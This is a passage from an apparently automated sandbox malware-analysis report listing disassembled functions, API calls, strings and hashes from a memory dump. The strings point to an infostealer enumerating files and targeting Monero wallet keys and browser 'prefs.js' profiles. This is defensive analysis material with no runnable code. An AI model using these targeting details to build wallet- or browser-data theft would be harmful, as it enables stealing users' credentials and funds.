LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C3801
__aulldiv.LIBCMT ref: 6C5C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5C394C

Strings

GenuntelineI, xrefs: 6C5C3639
MOZ_TIMESTAMP_MODE, xrefs: 6C5C35DB
AuthcAMDenti, xrefs: 6C5C3946
QPC, xrefs: 6C5C38FC
GTC, xrefs: 6C5C3912

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction ID: 3246332e0a862dacf2f2a6b3f5785003fab8453d214601127360ad0ad4d8e4d3
Opcode Fuzzy Hash: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction Fuzzy Hash: 12B1D871B093109FDB08EF69C89465ABBF5FBCA708F04C92DE899D3750D77099018B8A

Function 01014910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0101492C
FindFirstFileA.KERNEL32(?,?), ref: 01014943
StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
FindClose.KERNEL32(000000FF), ref: 01014B92

Strings

%s\%s, xrefs: 010149FB
%s\%s, xrefs: 010149A4
%s\*, xrefs: 01014920

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 957272fbf8c258385bfff8b18a2229b843b2f5de1e9b8b5d6118c8b964a7145d
Instruction ID: 5c4ac8cf2fc4315c4d64e573b7ee7ee5edfbccd6cf1d43c5ce94541862781d5b
Opcode Fuzzy Hash: 957272fbf8c258385bfff8b18a2229b843b2f5de1e9b8b5d6118c8b964a7145d
Instruction Fuzzy Hash: C86175B6940219ABDB34EBA0EC48EEA73BCFB58700F00458CF64A97048EB759745CF90

Function 01013EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 01013EC3
FindFirstFileA.KERNEL32(?,?), ref: 01013EDA
StrCmpCA.SHLWAPI(?,01020FAC), ref: 01013F08
StrCmpCA.SHLWAPI(?,01020FB0), ref: 01013F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0101406C
FindClose.KERNEL32(000000FF), ref: 01014081

Strings

%s\%s, xrefs: 01013EB7

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f184eb21958408ee1c445e518297f97029dc89b917fb5fc1d9d4b757d284856a
Instruction ID: dd660f31ed6abd993c748daba537c7cbbb49136df51ba43b554485e1d0883808
Opcode Fuzzy Hash: f184eb21958408ee1c445e518297f97029dc89b917fb5fc1d9d4b757d284856a
Instruction Fuzzy Hash: 175178B6940219ABDB25EBB0DC49EEA737CFB58300F04458CF69A97084DB75D7858F50

Function 0100F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010215B8,01020D96), ref: 0100F71E
StrCmpCA.SHLWAPI(?,010215BC), ref: 0100F76F
StrCmpCA.SHLWAPI(?,010215C0), ref: 0100F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0100FAB1
FindClose.KERNEL32(000000FF), ref: 0100FAC3

Strings

prefs.js, xrefs: 0100F812

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c4a315760539d0b3932ec020c9300baa6738f849ef676e6b4e5de32a85b6576f
Instruction ID: e1a7fae74fb81186c7c7304d73aa46ecd50d658477b8ee5e0f8a4e621d5fcba1
Opcode Fuzzy Hash: c4a315760539d0b3932ec020c9300baa6738f849ef676e6b4e5de32a85b6576f
Instruction Fuzzy Hash: 3DB17571A0115ADBDB25FF60DD54EED7379AF64300F4081A8E88A97184EF345B4ACF91

Function 010016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0102510C,?,?,?,010251B4,?,?,00000000,?,00000000), ref: 01001923
StrCmpCA.SHLWAPI(?,0102525C), ref: 01001973
StrCmpCA.SHLWAPI(?,01025304), ref: 01001989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 01001D40
DeleteFileA.KERNEL32(00000000), ref: 01001DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 01001E20
FindClose.KERNEL32(000000FF), ref: 01001E32

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Strings

\*.*, xrefs: 010017F1

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: a5ede0c2f5131f1f701d52661fe1344ae000c69248c883f8595383dfadcae228
Instruction ID: 1144aecb851d7b4cc88f6f513f18842bdd0d2b449ac38a1626cb325c403a4d36
Opcode Fuzzy Hash: a5ede0c2f5131f1f701d52661fe1344ae000c69248c883f8595383dfadcae228
Instruction Fuzzy Hash: F5129371A11159DBDB19FB60DC94EEE7379AF24310F4041D9A58A63094EF386F8ACFA0

Function 0100DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010214B0,01020C2A), ref: 0100DAEB
StrCmpCA.SHLWAPI(?,010214B4), ref: 0100DB33
StrCmpCA.SHLWAPI(?,010214B8), ref: 0100DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0100DDCC
FindClose.KERNEL32(000000FF), ref: 0100DDDE

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b23cb9c3ba92f4dd52ce201d9c48f1e2649afdfd2605ad378ec6de9fc7a03313
Instruction ID: 3b04b89bb43d6c0828372973cfac19d497760f326d3d891261ddb6f854d43ee8
Opcode Fuzzy Hash: b23cb9c3ba92f4dd52ce201d9c48f1e2649afdfd2605ad378ec6de9fc7a03313
Instruction Fuzzy Hash: 31917676A00105DBDB15FBB0ED59DED737DAFA4300F408558E88B97188EE389B0D8BA1

Function 01017B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

GetKeyboardLayoutList.USER32(00000000,00000000,010205AF), ref: 01017BE1
LocalAlloc.KERNEL32(00000040,?), ref: 01017BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 01017C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01017C62
LocalFree.KERNEL32(00000000), ref: 01017D22

Strings

/ , xrefs: 01017C7F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: befce8d2369322696880ee062f0e5de3b3d61c79129f0a4dc8fda7934a4f3573
Instruction ID: 9f56ccf0fd1bb9c2c10977a4bfe842523b6e46f9befcc23bd5f314f540745c23
Opcode Fuzzy Hash: befce8d2369322696880ee062f0e5de3b3d61c79129f0a4dc8fda7934a4f3573
Instruction Fuzzy Hash: DB414A7194121DEBDB24DB94DC98BEEB3B8FB58710F104199E50A67184DB382F86CFA0

Function 0100E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,01020D73), ref: 0100E4A2
StrCmpCA.SHLWAPI(?,010214F8), ref: 0100E4F2
StrCmpCA.SHLWAPI(?,010214FC), ref: 0100E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0100EBDF

Strings

\*.*, xrefs: 0100E44D

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
